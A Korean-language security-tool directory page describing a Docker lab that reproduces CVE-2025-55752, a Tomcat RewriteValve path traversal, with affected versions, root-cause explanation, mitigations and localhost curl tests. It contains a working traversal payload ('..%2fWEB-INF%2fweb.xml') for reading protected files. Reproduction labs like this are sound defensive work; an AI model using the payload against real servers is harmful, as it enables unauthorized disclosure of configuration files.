Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55752 — # CVE-2025-55752 재현 환경 (Docker 기반) Apache Tomcat의 RewriteValve에 존재하는 경로 탐색(path traversal) 취약점인 CVE-2025-55752를 위한 Docker 기반 재현 환경으로, 디코딩 전 정규화(normalize-before-decode) 결함을 시연하고 테스트 명령어를 제공합니다. | Kitploit
도구/GitHubGitHub/masahiro331/cve-2025-55752
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubmasahiro331/cve-2025-55752

CVE-2025-55752

# CVE-2025-55752 재현 환경 (Docker 기반) Apache Tomcat의 RewriteValve에 존재하는 경로 탐색(path traversal) 취약점인 CVE-2025-55752를 위한 Docker 기반 재현 환경으로, 디코딩 전 정규화(normalize-before-decode) 결함을 시연하고 테스트 명령어를 제공합니다.

저장소 보기
14310개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55752: Apache Tomcat 경로 탐색 취약점

CVE-2025-55752(아파치 톰캣 10.1.44의 경로 탐색 취약점)를 재현하기 위한 Docker 기반 환경입니다.

개요

CVE-2025-55752는 Apache Tomcat의 RewriteValve에서 URL 정규화가 URL 디코딩보다 먼저 발생하는 잘못된 처리 순서로 인해 발생하는 경로 탐색 취약점입니다. 이로 인해 공격자는 URL 인코딩된 경로 탐색 시퀀스(..%2f)를 사용하여 /WEB-INF/와 같은 디렉토리를 보호하는 보안 제약을 우회할 수 있습니다.

취약점 특성

  • CVE ID: CVE-2025-55752
  • CVSS v3.1: 7.5 (HIGH)
  • CWE: CWE-22 (경로 탐색)
  • 구성 요소: Apache Tomcat RewriteValve
  • 근본 원인: 정규화-후-디코딩 처리 순서

영향을 받는 버전

시리즈취약한 버전패치된 버전
11.x11.0.0-M1 ~ 11.0.1011.0.11+
10.1.x10.1.0-M1 ~ 10.1.4410.1.45+
9.0.x9.0.0-M11 ~ 9.0.1089.0.109+
8.5.x8.5.6 ~ 8.5.100EOL - 패치 없음

빠른 시작

root@kitploit:~
git clone https://github.com/masahiro331/CVE-2025-55752.git
cd CVE-2025-55752
docker-compose up -d
curl http://localhost:8080/

취약점 테스트

테스트 1: WEB-INF 직접 접근 (보호됨)

root@kitploit:~
curl -I 'http://localhost:8080/WEB-INF/web.xml'

예상 결과: 403 Forbidden

테스트 2: 정보 노출 (보호된 파일 읽기)

root@kitploit:~
curl -s 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml' | head -5
curl -I 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml'

예상 결과: 200 OK + web.xml 내용 (취약점 확인됨)

작동 방식

  1. 요청: /download?path=..%2fWEB-INF%2fweb.xml
  2. RewriteValve가 다음으로 재작성: /files/..%2fWEB-INF%2fweb.xml
  3. URL 정규화 (디코딩 전): %2f가 /로 인식되지 않아 ..가 유지됨
  4. URL 디코딩: %2f → / → /files/../WEB-INF/web.xml
  5. 경로 해석: /WEB-INF/web.xml

처리 순서 문제

root@kitploit:~
올바른 순서:    디코딩 → 정규화 → 보안 검사
취약한 순서: 정규화 → 디코딩 → 보안 검사 ✗

Tomcat 수정 사항

  • GitHub: apache/tomcat commit 130d36d8
  • 수정 내용: 정규화 전에 디코딩 수행

완화 조치

  1. 필요하지 않은 경우 RewriteValve 비활성화
  2. PUT 메서드 비활성화
  3. ../ 및 %2e%2e를 차단하는 WAF 규칙
  4. 패치된 버전으로 업그레이드 (10.1.45+, 9.0.109+, 11.0.11+)

참고 자료

  • Apache Tomcat 보안
  • NVD - CVE-2025-55752
  • OWASP 경로 탐색
  • CWE-22: 경로명의 부적절한 제한

면책 조항

⚠️ 경고: 프로덕션 환경에 배포하지 마십시오. 격리된 테스트 환경에서만 사용하십시오.

도구 다운로드